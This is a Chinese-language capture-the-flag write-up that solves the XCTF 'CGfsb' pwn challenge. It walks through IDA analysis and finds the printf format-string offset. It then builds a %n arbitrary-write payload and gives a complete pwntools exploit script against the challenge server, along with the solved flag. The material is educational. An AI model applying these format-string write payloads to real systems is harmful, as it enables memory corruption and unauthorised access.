XCTF-PWN-CGfsb-格式化字符串漏洞

CTF · 03-21 · 104 人浏览

一、查看文件保护

Pasted image 20231216124824.png
ELF32 开启了NX(堆栈不可执行)以及 CANNARY(栈保护),
未开启 PIE 程序内存加载基地址随机化保护机制(即静态反汇编的地址可以直接使用)

kali中运行如下
Pasted image 20231216171738.png
让我们输入一个名字和一条信息后,输出hello以及我们输入的信息,最后输出“Thank you”后退出程序

二、IDA静态分析

(1)main

Pasted image 20231216171916.png
程序逻辑分析:

1. 接收由用户输入字符串 buf 和 s,依次作为名字和信息进行打印;
2. 注意如果 pwnme == 8 这个条件满足,则执行 system(“cat flag”) 输出我们想要的目标信息 flag 值;

(2)跟进变量pwnme

Pasted image 20231216172028.png
发现是.bss段上的全局变量

(3)整理思路

main函数中第22行的print(s)存在格式化字符串漏洞

所以解题思路为:
借助格式化字符串漏洞,实现任意地址写,篡改 pwnme 全局变量的值并令其等于 8,即可获得 Flag。

三、解题

任意地址覆写

格式化字符串漏洞的任意地址覆写的利用步骤跟任意地址读取的利用步骤类似:

1. 确定格式化字符串漏洞受控参数在栈中的偏移量 n;
2. 确定你需要读内存的地址 target_address,比如 /x01/x02/x03/x04 ;
3. 将目标地址 target_address 写入 printf 函数栈中 `%n$s`,最后通过特殊的占位符 `%n` 写入目标数值即可。

那就先来确定第一个核心数据:存在格式化字符串漏洞的受控参数 s 在 printf 函数的栈上的偏移量。

在传递的 message 输入 AAAA%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x ,可以确定此处的偏移值为 10:
Pasted image 20231216172723.png
然后是确定目标全局变量 pwnme 的地址 target_address 了,上面 IDA 截图已经给出了是 0x0804A068,由于没有 PIE 保护,所以 IDA 所展示的地址即是程序运行时所用的地址。

至此为止,完成任意地址覆写所需要的两个核心数据均已确定,那么 Payload 也可以确定下来了:

p32(0x0804A068) + '%4c%10$n'
或者
p32(0x0804A068) + "aaaa" + '%10$n'

解释下上述 Payload 的组成原理:

1.特殊的占位符` %n` 的作用前面说过,可以将该占位符之前成功输出的字节数写入目标地址中,2而` '%10$n' `对应的是 printf 函数栈上偏移量为 10 的位置,也就是外部可控参数 s 的位置;
2.对于`addr%k$n`:其意思是在地址为 addr、偏移量(相对于我们输入处的)为 k 的位置,写入前面若干个字符串长度的值,所以上述 Payload 就是向 `0x0804A068` 地址偏移量为 10 的位置处写入数据;
3.`p32(0x0804A068)`会输出四个字节,`%4c` 或 `"aaaa" `也会输出 4 个字节(作用就是为了凑够 8 个字节),所以 pwnme 所在的空间内容就被更改为之前所输出的字符数量 8。

综上,最终的EXP如下:

from pwn import *

p = remote('61.147.171.105', 62012)
addr_pwnme = 0x0804A068
p.recvuntil("please tell me your name:\n")
p.sendline('xiaoming')
payload = p32(addr_pwnme) + b'a'*0x4 + b'%10$n'
p.recvuntil("leave your message please:\n")
p.sendline(payload)
p.interactive()

运行结果:
Pasted image 20231216173709.png
flag为:
cyberpeace{0eee55ca2c9b590db32c62ea3f498e86}

CTF PWN XCTF bss段 格式化字符串漏洞
Theme Jasmine by Kent Liao